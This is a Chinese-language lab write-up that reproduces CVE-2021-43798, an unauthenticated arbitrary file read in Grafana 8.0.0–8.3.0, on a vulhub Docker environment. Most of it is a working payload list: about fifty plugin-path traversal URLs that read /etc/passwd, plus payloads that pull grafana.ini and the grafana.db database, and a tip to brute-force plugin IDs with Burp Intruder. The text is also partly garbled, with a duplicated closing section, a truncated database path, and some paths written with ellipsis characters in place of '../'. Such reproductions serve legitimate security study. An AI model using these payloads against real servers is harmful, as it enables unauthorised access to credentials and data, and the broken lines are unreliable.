Grafana任意文件读取 (CVE-2021-43798)

Grafana任意文件读取 (CVE-2021-43798)

一、漏洞介绍

Grafana是一个跨平台、开源的数据可视化网络应用程序平台。用户配置连接的数据源之后，Grafana可以在网络浏览器里显示数据图表和警告。Grafana 存在未授权任意文件读取漏洞，攻击者在未经身份验证的情况下可通过该漏洞读取主机上的任意文件

二、漏洞影响版本

Grafana 8.0.0 - 8.3.0

三、漏洞环境

进入 vulhub/grafana/CVE-2021-43798

启动漏洞环境： docker-compose up -d

开启环境，端口为3000 访问一下 看到登陆界面

四、漏洞复现

漏洞利用 Fuzz字典

/public/plugins/alertGroups/../../../../../../../../etc/passwd
/public/plugins/alertlist/../../../../../../../../etc/passwd
/public/plugins/alertmanager/../../../../../../../../etc/passwd
/public/plugins/annolist/../../../../../../../../etc/passwd
/public/plugins/barchart/../../../../../../../../etc/passwd
/public/plugins/bargauge/../../../../../../../../etc/passwd
/public/plugins/canvas/../../../../../../../../etc/passwd
/public/plugins/cloudwatch/../../../../../../../../etc/passwd
/public/plugins/dashboard/../../../../../../../../etc/passwd
/public/plugins/dashlist/../../../../../../../../etc/passwd
/public/plugins/debug/../../../../../../../../etc/passwd
/public/plugins/elasticsearch/../../../../../../../../etc/passwd
/public/plugins/gauge/../../../../../../../../etc/passwd
/public/plugins/geomap/../../../../../../../../etc/passwd
/public/plugins/gettingstarted/../../../../../../../../etc/passwd
/public/plugins/grafana-azure-monitor-datasource/../../../../../../../../etc/passwd
/public/plugins/grafana/../../../../../../../../etc/passwd
/public/plugins/graph/../../../../../../../../etc/passwd
/public/plugins/graphite/../../../../../../../../etc/passwd
/public/plugins/heatmap/../../../../../../../../etc/passwd
/public/plugins/histogram/../../../../../../../../etc/passwd
/public/plugins/influxdb/../../../../../../../../etc/passwd
/public/plugins/jaeger/../../../../../../../../etc/passwd
/public/plugins/live/../../../../../../../../etc/passwd
/public/plugins/logs/../../../../../../../../etc/passwd
/public/plugins/loki/../../../../../../../../etc/passwd
/public/plugins/mixed/../../../../../../../../etc/passwd
/public/plugins/mssql/../../../../../../../../etc/passwd
/public/plugins/mysql/../../../../../../../../etc/passwd
/public/plugins/news/../../../../../../../../etc/passwd
/public/plugins/nodeGraph/../../../../../../../../etc/passwd
/public/plugins/opentsdb/../../../../../../../../etc/passwd
/public/plugins/piechart/../../../../../../../../etc/passwd
/public/plugins/pluginlist/../../../../../../../../etc/passwd
/public/plugins/postgres/../../../../../../../../etc/passwd
/public/plugins/prometheus/../../../../../../../../etc/passwd
/public/plugins/stat/../../../../../../../../etc/passwd
/public/plugins/state-timeline/../../../../../../../../etc/passwd
/public/plugins/status-history/../../../../../../../../etc/passwd
/public/plugins/table-old/../../../../../../../../etc/passwd
/public/plugins/table/../../../../../../../../etc/passwd
/public/plugins/tempo/../../../../../../../../etc/passwd
/public/plugins/testdata/../../../../../../../../etc/passwds
/public/plugins/text/../../../../../../../../etc/passwd
/public/plugins/timeseries/../../../../../../../../etc/passwd
/public/plugins/welcome/../../../../../../../../etc/passwd
/public/plugins/xychart/../../../../../../../../etc/passwd
/public/plugins/zipkin/../../../../../../../../etc/passwd
/public/plugins/alertlist/../../../../../../../../etc/passwd
远程读取数据库信息
/public/plugins/welcome/../../../../../../../../var/lib/grafana/grafana.db

可以在burp中 intruder模块爆破一下，看看 Grafana 存在哪些插件

可以造成信息读取

读取Grafana配置文件

/public/plugins/alertGroups/…/…/…/…/…/…/…/…/etc/grafana/grafana.ini

读取Grafana数据库

/public/plugins/alertGroups/…/…/…/…/…/…/…/…/var/lib/grafana/grafana.

alertGroups alertlist canvas是插件ID，Grafana默认安装的就有。也可以改成别的插件ID,可以自己在fuzz字典里尝试

五、关闭环境

docker-compose down

ps alertlist canvas是插件ID，Grafana默认安装的就有。也可以改成别的插件ID,可以自己在fuzz字典里尝试

五、关闭环境

docker-compose down